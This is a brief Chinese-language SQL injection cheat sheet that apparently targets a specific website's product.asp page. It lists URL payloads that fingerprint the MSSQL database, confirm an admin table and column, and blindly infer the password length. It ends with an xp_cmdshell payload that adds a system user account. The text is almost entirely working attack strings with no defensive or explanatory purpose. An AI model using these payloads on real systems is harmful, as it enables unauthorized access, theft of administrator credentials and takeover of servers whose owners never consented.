查詢資料庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項admin裡面的內容長度 小於出錯 等於返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7
暴力猜解admin表中的項admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--